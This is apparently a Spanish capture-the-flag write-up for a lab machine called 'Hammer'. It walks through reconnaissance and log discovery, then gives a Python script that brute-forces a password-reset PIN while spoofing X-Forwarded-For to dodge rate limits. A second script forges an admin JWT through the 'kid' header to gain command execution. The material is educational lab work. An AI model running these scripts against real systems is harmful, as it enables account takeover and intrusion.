Introduction
Con el Martillo en mano, ¿puedes bypassear los mecanismos de autentificación y conseguir RCE en el sistema?
Getting the Flags
- Empezaremos con el reconocimiento (aunque ya sabemos por donde va a tirar, seguramente algo de MFA).
- Escaneo de puertos.
Miramos a ver qué es el servicio waste.

- Escaneo de puertos en profundidad.
Como el puerto 80 no está abierto, no tiene sentido escanear directorios ni subdominios.
- Escaneo de puertos.
- Si vamos al puerto
1337encontramos no que parece un endpoint de login.
- Si miramos el código fuente podemos ver la convención de nombramiento de directorios.
Si intentamos hacer fuzzeo de directorios a este tipo de dirección:

- Si le damos al único archivo aparentemente interesante,
reset_password.php, podemos ver el código de flujo del reseteo de contraseñas.
Parece que hay una cuenta atrás en la que tienes que introducir el código. - Si revisamos los directorios que encontramos fuzzeando antes, sólo hay dos que parecen poder tener algo interesante.
- El primero y más interesante es
/hmr_logs/, el cual contiene logs de error de conexión en los que se detallan usuarios, endpoints, hostnames, etc.
- El segundo, y algo menos llamativo es
/hmr_images, en donde hay una imagen de un taller con martillo.
No hay nada en la imagen, por lo que definitivamente seguiremos por el otro lado.

- El primero y más interesante es
- Vamos a investigar bien los logs que hemos encontrado.
- Lo más llamativo a simple vista es que parece que tenemos un usuario:
tester@hammer.thm. - Además podemos ver la página a la que aparentemente querríamos poder acceder:
/restricted-area. - Vemos un posible hostname del sistema que nos puede servir más adelante para forzar la entrada por ssh:
hammerthm. - Vemos que hay un login de administrador:
/admin-login. - Parece que hay un límite de 10 peticiones, pero no sabemos en qué se basa para filtrar, todavía.
- Lo más llamativo a simple vista es que parece que tenemos un usuario:
- Con todo esto en mente vamos a investigar las respuestas del servidor con BurpSuite.
- Para usuario y contraseñas erróneos:
- Manda usuario y contraseña por POST.

- En la respuesta recibimos "Invalid Email or Password".

- Manda usuario y contraseña por POST.
- Para usuario correcto y contraseña errónea:
- La petición inicial sigue siendo igual pero con diferentes credenciales.

- La respuesta también es igual.

- La petición inicial sigue siendo igual pero con diferentes credenciales.
- Para usuario y contraseñas erróneos:
- Vamos a ver qué pasa si le damos a "Forgot your password?".
- Esta petición ya parece más interesante.
Está llamando al endpoint /reset_password.php. - Si dejamos pasar las peticiones y metemos el email, obtenemos una página con un contador.

- Si introducimos un código que no es no nos saca directamente.

- Si lo introducimos mal unas cuantas veces pone:

- Esta petición ya parece más interesante.
- Ejecutaremos el siguiente código.
python
import requests import sys import random from concurrent.futures import ThreadPoolExecutor # Configuración IP = "IP" #Cambia esto base_url = f'http://{IP}:1337' url = f'{base_url}/reset_password.php' email = 'tester@hammer.thm' MAX_THREADS = 10 exito = False def get_new_session(): s = requests.Session() try: s.post(url, data={'email': email}, timeout=10) if 'PHPSESSID' in s.cookies: return s except: return None return None def batch_worker(start_pin): global exito if exito: return session = get_new_session() if not session: return for i in range(7): current_pin = start_pin + i if current_pin > 9999 or exito: break pin_str = f"{current_pin:04d}" headers = { 'X-Forwarded-For': f"127.0.0.{random.randint(1,254)}", 'Content-Type': 'application/x-www-form-urlencoded' } data = {'recovery_code': pin_str, 's': '180'} try: # Importante: allow_redirects=True para seguir a la página de nueva password resp = session.post(url, data=data, headers=headers, allow_redirects=True, timeout=10) if "Invalid or expired" not in resp.text and "Rate limit" not in resp.text: exito = True print(f"\n\n[!] ¡ÉXITO! PIN CONFIRMADO: {pin_str}") print(f"[+] PHPSESSID: {session.cookies.get('PHPSESSID')}") print(f"[+] URL FINAL: {resp.url}") # Guardamos la página para que la veas with open("exito.html", "w") as f: f.write(resp.text) print(f"[+] Contenido guardado en 'exito.html'. Ábrelo con tu navegador.") return sys.stdout.write(f"\r[*] Intentando: {pin_str} ") sys.stdout.flush() except: pass def main(): pines_iniciales = [i for i in range(0, 10000, 7)] # Como ya sabemos que es el 1013, el script llegará rápido. with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: executor.map(batch_worker, pines_iniciales) if __name__ == "__main__": main()
Obtenemos lo siguiente:

- Si metemos dicha cookie y OTP:

- Si cambiamos la contraseña e iniciamos sesión:
Hemos encontrado la flag del dashboard, nos queda la del sistema. - Si probamos con ls vemos que hay un archivo
.phpde ejecución de comandos.
- Parece ser que hay un elemento que nos echa de la sesión. Si miramos el código fuente:
Podemos ver que si el valor persistentCookieno está en true nos echará todo el rato. - Vamos a interceptar una petición de ejecución de comandos con Burp Suite.
Vemos que hay un archivo .key. - Vamos a analizar el JWT con
jwt.io.
- Como tenemos acceso podemos listar el secreto
188ade1.key.
- Vamos a usar un script de python para generar el JWT.
python
import jwt # The secret key from /var/www/mykey.key secret_key = "56058354efb3daa97ebab00fabd7a7d7" # JWT header including 'kid' header = { "typ": "JWT", "alg": "HS256", "kid": "/var/www/html/188ade1.key" } # Payload with the 'admin' role payload = { "iss": "http://hammer.thm", "aud": "http://hammer.thm", "iat": TiempoDeCreación, "exp": TiempoDeExpiración (poner más alto), "data": { "user_id": 1, "email": "tester@hammer.thm", "role": "admin" } } # Encode the JWT with the specific header token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header) # Print the generated token print(token)
-
Lo ejecutamos y obtenemos el JWT.

-
Metemos dicho token en el header authorization bearer y en el valor y ejecutamos un comando para leer
/home/ubuntu/flag.txt.
CAUTION: Lee los scripts usados antes de utilizarlos para entender cómo funcionan y qué cosas debes cambiar.
